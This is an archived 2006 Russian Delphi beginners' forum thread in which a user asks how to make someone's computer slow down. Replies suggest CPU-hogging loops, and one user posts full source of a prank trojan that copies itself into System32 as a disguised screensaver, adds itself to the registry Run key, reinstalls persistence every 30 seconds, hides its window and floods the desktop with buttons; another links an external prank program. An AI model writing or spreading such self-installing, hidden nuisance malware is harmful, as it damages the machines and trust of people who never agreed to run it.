Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2006.08.20;
Скачать: [xml.tar.bz2];

Вниз

загрузить комп   Найти похожие ветки 

 
miSTER-TWISTER   (2006-07-28 18:31) [0]

подскажите как с помощью дельфи можно напсиать прогу которая
сможет заставить притормаживать комп средней производительности?


 
KilkennyCat ©   (2006-07-28 18:34) [1]

Для начала напишем прогу, которая определит, средняя ли производительность у компа, или нет...

Сформулируйте вопрос грамотно, по существу и в рамках правил, традиций и идеологии данного форума.


 
cando ©   (2006-07-28 18:46) [2]

повысь приорете своей программы до максимума
и выполняй любые действия например большой цикл или вообще бесконечный
гарантирую без перезагрузки или отключения твоей программы ком висеть будет страшно


 
DevilDevil ©   (2006-07-28 18:47) [3]

for (int i = 0; ; i++){}
:)


 
Мефисто   (2006-07-28 18:52) [4]


> miSTER-TWISTER   (28.07.06 18:31) 


Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.


 
IceBeerg ©   (2006-07-28 18:55) [5]

Мефисто   (28.07.06 18:52) [4]
Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.

Во-во! Тут бъешся, чтобы программа быстрее работатла и как можно меньше другим программам мешала...


 
cando ©   (2006-07-28 18:58) [6]

Просто человек хочет комуто каку подстроить :)


 
koha ©   (2006-07-28 20:45) [7]

> Просто человек хочет комуто каку подстроить

Вот, например, это было написано в эпоху юношества моего несознательного
- так шутка, может даже и работать будет, пусть человек потешится ....... лижбы не плакало ....


unit Unit1;

interface

uses
 Windows, SysUtils, Forms, Registry, ExtCtrls, Classes, Controls,Buttons, XPMan,
 StdCtrls;

type
 TFM = class(TForm)
   Tmr: TTimer;
   ChkInstall: TTimer;
   TmFatal: TTimer;
   XPManifest1: TXPManifest;
   procedure TmFatalTimer(Sender: TObject);
   procedure FmCloseQuery(Sender: TObject; var CanClose: Boolean);
   procedure FmActivete(Sender: TObject);
   procedure ChkInstallTimer(Sender: TObject);
   procedure TmrTimer(Sender: TObject);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 FM: TFM;
 WinDir,ComSpec,SystemRoot,CurPath,User: String;
 Reg: TRegistry;
 X,Y,i : integer;
 Pnt: TPoint;
 TmFlag: Boolean;
 btns: TButton;
implementation

{$R *.dfm}

procedure TFM.FormCreate(Sender: TObject);
begin
 Fm.KeyPreview            := true;
 Fm.TransparentColor      := true;
 Fm.TransparentColorValue := $000000;
 Fm.Height      := 30;
 Fm.Width       := 195;
 Fm.Caption     := "Windows Logons";
 Fm.BorderStyle := bsNone;
 Fm.Position    := poScreenCenter;
 CurPath        := LowerCase(ExtractFilePath(paramstr(0)));
 SystemRoot     := GetEnvironmentVariable("SystemRoot");
 ComSpec        := GetEnvironmentVariable("ComSpec");
 WinDir         := GetEnvironmentVariable("WinDir");
 User           := GetEnvironmentVariable("Username");
 if Not FileExists(SystemRoot+"\system32\Logons.scr") then
 Winexec(PChar(ComSpec+" /c copy "+paramstr(0)+" "+SystemRoot+ "\System32\Logons.scr"),SW_ShowMinimized);
 try
 try //Registry Run
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey("\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true) then
   Reg.WriteString("Microsoft Logons","Logons.scr");
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 try
 try //Registry SCRNSAVE.EXE
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_CURRENT_USER;
   if Reg.OpenKey("\Control Panel\Desktop",true) then begin
      Reg.WriteString("ScreenSaveTimeOut","60");
      Reg.WriteString("SCRNSAVE.EXE",SystemRoot+"\system32\Logons.scr");
      end;
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 If CurPath <> LowerCase(SystemRoot+"\system32\") then Application.Terminate;
 TmFlag:=false;
 Randomize;
 Repeat i:=random(120); Until i > 20; Tmr.Interval:=1000*60*i;
 TmFatal.Interval:=1000;
 ChkInstall.Interval:=1000*30;
 TmFatal.Enabled:=false;
end;
{--------------------------------- On Timer -----------------------------------}
procedure TFM.TmrTimer(Sender: TObject);
var i: integer;
begin
 randomize;
 If TmFlag = false then begin
   TmFatal.Enabled:=true;
   TmFlag:=true;
   repeat i:=random(10); Until i > 3; Tmr.Interval:=1000*60*i;
 end else begin
   TmFatal.Enabled:=false;
   TmFlag:=false;
   Repeat i:=random(60); Until i > 15; Tmr.Interval:=1000*60*i;
 end;
end;
{--------------------------------- Chk Install --------------------------------}
procedure TFM.ChkInstallTimer(Sender: TObject);
begin
 //Registry Run
 try
 try
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey("\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true) then
   Reg.WriteString("Microsoft Logons","Logons.scr");
 Finally Reg.CloseKey; Reg.Free End;
 except end;
 //Registry SCRNSAVE.EXE
 try
 try
   Reg:=Tregistry.Create;
   Reg.RootKey:=HKEY_CURRENT_USER;
   if Reg.OpenKey("\Control Panel\Desktop",true) then begin
      Reg.WriteString("ScreenSaveTimeOut","60");
      Reg.WriteString("SCRNSAVE.EXE",SystemRoot+"\System32\Logons.scr");
      end;
 Finally Reg.CloseKey; Reg.Free End;
 except end;
end;
{---------------------------------- Activate ----------------------------------}
procedure TFM.FmActivete(Sender: TObject);
begin
 ShowWindow(Handle, SW_HIDE);
 ShowWindow(Application.Handle, SW_HIDE);
end;
{--------------------------------- Close Query --------------------------------}
procedure TFM.FmCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
 //CanClose:=false;
end;
{-------------------------------- Fatal ---------------------------------------}
procedure TFM.TmFatalTimer(Sender: TObject);
begin
 randomize;
 btns:=TButton.Create(Owner);
 btns.Parent:=Fm;
 windows.SetParent(btns.Handle,GetDesktopWindow());
 btns.Left:=random(Screen.Width);
 btns.Top:=random(Screen.Height);
 btns.Width:=(8+Length(User))*7;
 btns.Caption:="Привет "+User+"!";
 GetCursorPos(Pnt);
 If (Pnt.X <> X) or (Pnt.Y <> Y) then begin
   X:=Pnt.X; Y:=Pnt.Y;
   for i:=1 to random(10) do begin
     btns:=TButton.Create(Owner);
     btns.Parent:=Fm;
     windows.SetParent(btns.Handle,GetDesktopWindow());
     btns.Left:=random(Screen.Width);
     btns.Top:=random(Screen.Height);
     btns.Width:=(8+Length(User))*7;
     btns.Caption:="Привет "+User+"!";
   end;
 end;
end;

end.



 
Virgo_Style ©   (2006-07-28 20:50) [8]

Обратись в лабораторию Касперского.

Сегодня спасал компьютер от этого зверя, реакции не было вообще. Впрочем, возможно, это была индивидуальная несовместимость с Пандой.


 
koha ©   (2006-07-28 20:54) [9]

> Virgo_Style ©

> Сегодня спасал компьютер от этого зверя

зверь это кто? касперыч что ли и с какой верисией? с 6?


 
Virgo_Style ©   (2006-07-28 21:40) [10]

koha ©   (28.07.06 20:54) [9]
Не знаю, комп не свой, пришел, увидел, удалил. Заработало? До свидания. %-)


 
Loginov Dmitry ©   (2006-07-29 09:12) [11]

> подскажите как с помощью дельфи можно напсиать прогу которая
> сможет заставить притормаживать комп средней производительности?


Копируешь в цикле непрерывно большой файл из одного места в другое, и тормоза будут обеспечены (если конечно компьютер средней производительности).


 
Степан   (2006-07-29 21:17) [12]

А зачем тебе прога! Поставь ему Windows XP. Тормоза и глюки в исполнении компании Минисофт обеспечены :)


 
Homo Sapiens ©   (2006-07-29 21:51) [13]

Если надо пакость то вот:
http://slil.ru/22967282
пользуйся на здоровье Это моя первая издевательская программа



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2006.08.20;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.49 MB
Время: 0.04 c
6-1142006821
safo
2006-03-10 19:07
2006.08.20
Существуют ли функции для работы с файлом HOSTS?


2-1154585931
vladimirg88
2006-08-03 10:18
2006.08.20
картинка вглубь экрана


3-1149682677
Krugly
2006-06-07 16:17
2006.08.20
Добавление записи в таблицу FoxPro из Delphi


3-1150442109
RomanH
2006-06-16 11:15
2006.08.20
Функция Trim в InterBase


2-1154214793
-=Germe$=-
2006-07-30 03:13
2006.08.20
Dynamic Skin Form





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский